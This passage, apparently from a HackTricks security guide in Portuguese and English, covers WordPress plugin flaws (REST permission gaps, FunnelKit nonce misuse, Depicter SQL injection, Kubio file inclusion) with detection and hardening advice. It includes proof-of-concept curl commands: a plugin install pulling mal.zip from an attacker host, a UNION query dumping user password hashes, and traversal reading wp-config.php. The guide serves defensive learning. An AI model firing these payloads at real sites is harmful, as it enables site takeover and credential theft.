  • Rota REST sensível protegida apenas por prova de identidade de baixa entropia (username) ou permission_callback ausente
  • Sem aplicação de capability; chave emitida é aceita como um bypass universal

Detection checklist

  • Grep no código do plugin por register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • Qualquer rota que emita tokens/keys baseada na identidade fornecida pela request (username/email) sem vincular a um user autenticado ou capability
  • Procure rotas subsequentes que aceitam o token/key emitido sem verificações de capability no servidor

Hardening

  • Para qualquer rota REST privilegiada: exigir permission_callback que aplique current_user_can() para a capability requerida
  • Não mintar long-lived keys a partir da identidade fornecida pelo client; se necessário, emita tokens short-lived, vinculados ao usuário, pós-authentication e revalide as capabilities no uso
  • Valide o contexto do usuário chamador (wp_set_current_user não é suficiente sozinho) e rejeite requests onde !is_user_logged_in() || !current_user_can()

Nonce gate misuse → instalação arbitrária de plugin sem autenticação (FunnelKit Automations ≤ 3.5.3)

Nonces previnem CSRF, não autorização. Se o código trata a passagem do nonce como sinal verde e então pula as verificações de capability para operações privilegiadas (e.g., install/activate plugins), atacantes não autenticados podem satisfazer um requisito de nonce fraco e alcançar RCE ao instalar um plugin backdoored ou vulnerável.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Checklist de detecção

  • Manipuladores REST/AJAX que modificam plugins/themes usando apenas wp_verify_nonce()/check_admin_referer() e sem verificação de capability
  • Qualquer caminho de código que configura $skip_caps = true após a validação do nonce

Endurecimento

  • Tratar sempre nonces apenas como CSRF tokens; aplicar verificações de capability independentemente do estado do nonce
  • Exigir current_user_can('install_plugins') e current_user_can('activate_plugins') antes de atingir o código do instalador
  • Rejeitar acesso não autenticado; evitar expor ações nopriv AJAX para fluxos privilegiados

SQLi não autenticado via parâmetro s (search) em ações depicter-* (Depicter Slider ≤ 3.6.1)

Múltiplas ações depicter-* consumiam o parâmetro s (search) e o concatenavam em consultas SQL sem parametrização.

  • Parâmetro: s (search)
  • Falha: concatenação direta de strings em cláusulas WHERE/LIKE; sem prepared statements/sanitização
  • Impacto: exfiltração do banco de dados (usuários, hashes), movimentação lateral

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Checklist de detecção

  • Grep por depicter-* action handlers e uso direto de $_GET['s'] ou $_POST['s'] em SQL
  • Revisar consultas customizadas passadas para $wpdb->get_results()/query() concatenando s

Fortalecimento

  • Sempre use $wpdb->prepare() ou placeholders do wpdb; rejeitar metacaracteres inesperados no servidor
  • Adicionar uma allowlist estrita para s e normalizar para o charset/comprimento esperados

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Aceitar caminhos controlados pelo atacante em um parâmetro de template sem normalização/confinamento permite ler arquivos locais arbitrários, e às vezes execução de código se arquivos PHP/log incluíveis forem carregados em tempo de execução.

  • Parâmetro: __kubio-site-edit-iframe-classic-template
  • Falha: sem normalização/allowlisting; traversal permitido
  • Impacto: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)

PoC – ler wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Checklist de detecção

  • Qualquer handler que concatene caminhos de requisição em sinks include()/require()/read sem contenção por realpath()
  • Procure por padrões de traversal (../) que alcancem além do diretório de templates pretendido

Mitigação

  • Imponha templates allowlisted; resolva com realpath() e require str_starts_with(realpath(file), realpath(allowed_base))
  • Normalizar a entrada; rejeitar sequências de traversal e caminhos absolutos; usar sanitize_file_name() apenas para nomes de arquivo (não para caminhos completos)

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks